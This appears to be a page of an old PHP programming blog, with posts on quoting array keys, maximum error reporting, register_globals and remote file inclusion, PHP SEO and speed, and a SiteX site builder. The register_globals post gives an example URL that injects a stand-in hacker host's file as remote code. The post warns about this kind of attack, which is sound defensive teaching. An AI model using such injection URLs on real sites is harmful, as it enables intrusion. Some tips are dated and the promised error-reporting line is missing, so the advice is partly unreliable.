Our team was having a debate on why we should put a ‘ (single quote) when referencing arrays in php. Well what is the problem if we use $_SESSION[key], instead of $_SESSION[‘key’].
Well when you think that when encountering non functions or keywords, php tries to evaluate it as a declared constant. So referencing $_SESSION[‘key’] would be better against $_SESSION[key], unless we have defined the constant key and want to use the value of key.
I recommend using ‘ (single quotes) when programming with PHP; Always use ‘ (single quotes) unless you need the features of ” (double quotes). You might think it’s much easier to write code as:
echo "Today is the $day of $month";
However, using single quotes forces variables to be outside the quotes; instead when you use the ” (double quotes), forces php to evaluate the string, where as with ‘ (single quotes), the string content is taken as such.
The single most important thing I tell people who use PHP is to turn error reporting to its maximum level. Why would I want to do this? Generally the error reporting is set at a level that will hide many little things like:
- declaring a variable ahead of time,
- referencing a variable that is not available in that segment of code, or
- using a define that is not set
These factors might not seem like that big a deal — until you develop structured or object oriented programs with functions and classes. Too often, writing code with the error reporting turned up high would cost you hours as you scoured long functions that didn’t work because a variable was misspelled or not accessible.
PHP won’t tell you anything in that case it’ll just create the new variable for you and initialize it to zero. The remedy is to put the following line at the top of every PHP document as you develop:
It simply forces the error reporting to be at its highest level. Try putting this line in other PHP programs, and more often than not you’ll receive a barrage of warning messages that identify all the potentially wrong elements of the code.
Eventually this when enabled, will force you to write cleaner, structured and fast code.
Yes, unless care is taken while coding. Imagine register globals is on and a include uses a variable from the user submission or from coded in urls like page.php?v=mod/login.php, well this can be manually rewritten to page.php?v=https://any.hacker.site/php_hacktool/hacktool.txt, which will eventually force php to include the remote hostile code into your code.. and provide a method for cunning, hackers to check, inspect or even alter the content.
Check Point Software
PHP pages have a reputation of being more difficult (or at least different) to SEO than static HTML pages. Here is an overview of the major issues encountered when trying to optimize PHP script for search engines. While this focuses on PHP much of it is still relevant to SEO ing dynamic pages in general.
While page size does affect load time, spiders run on servers connected to high bandwidth networks, so download time is less important than the latency of the PHP script execution time. If a search engine spider follows a link on a site and is forced to wait too long for the server to process the PHP code behind that page, it may label your page as unresponsive.
The biggest delays in a PHP script typically are the database and loop code. Avoid making SELECT * calls, instead explicitly name all the columns you want to retrieve, and if you are using MySQL, test your queries using the EXPLAIN statement. To optimize loops consider using duplicated code instead of loops that don’t repeat very many times, also use as many static values, such as count($array) values inside the loop as you can, generating their values before the loop once.
Use of Compile Cache
The execution times can be improved by implementing compile caches like Turk MMCache (https://turck-mmcache.sourceforge.net) or APC as a php module. Though I do agree, that these would not be sufficient where contents are changing dynamically or across time.
Continue reading “Search Engine Optimizing PHP Scripts”
SiteX is a web tool that will enable you to start your own dynamic website in under 5 minutes. Driven by PHP and MySQL, SiteX is comprised of components common to most personal websites including a photo gallery, journal, calendar/events, guestbook, link manager, forum and web polls. Everything in SiteX is managed via your own personal administration panel. Additional pages can also be added by the user by preference through the easy WYSIWYG editor. SiteX utilizes an advanced control panel that lets the end-user completely customize the site down to the colors, text, pages, components, navigation, and advanced options.
See some of the sites hosted with saturn which were personalized by in house designers with the support from the respective maintainters.
From the features available in the above listed sites, as well as the design aspect, one can know well that SiteX is going to make the hits.
Visit the SiteX Home: https://sitex.bjsintay.com/
This comes useful when you think about getting content from other sites like RSS Feeds, text feeds, currency conversion rates etc. I tried to make this several times without such an enhancement. Finally the need arose and I have made this a reality.
I will need to find a better code highlighter plugin for wordpress before I can post many php codes and classes. Meanwhile this is being trying for a change:
Continue reading “File Caching Class”
In a recent web project of mine, it was needed to offload some mp3 files to another server as per the hosting providers specifications. 😉 these could not be overidden since the service was free for a specific purpose. The database was on a different server, and as most of you know, this does not affect php a bit.
But the media bifurcation did take me for a spell. On my test bed, I was using readfile() to read the contents of the mp3file to the browser, after providing correct header tags. In the test server this was working fine, since the file urls were relative ofcourse. I checked through the hosting system using phpinfo() and did confirm the url_fopen wrappers were enabled. But to my dismay, when loaded on to the hosting space, it seemed that the readfile was failing and hence I needed a different method.
Then like a thunderbolt this idea of a file proxy class came to my mind. And this was implemented. It works for me and my project. There may be different view points, as well as enhancements. I would appreciate it if some one could enhance it in case the url_fopen wrappers is disabled in the php configuration.
Continue reading "A file proxy class"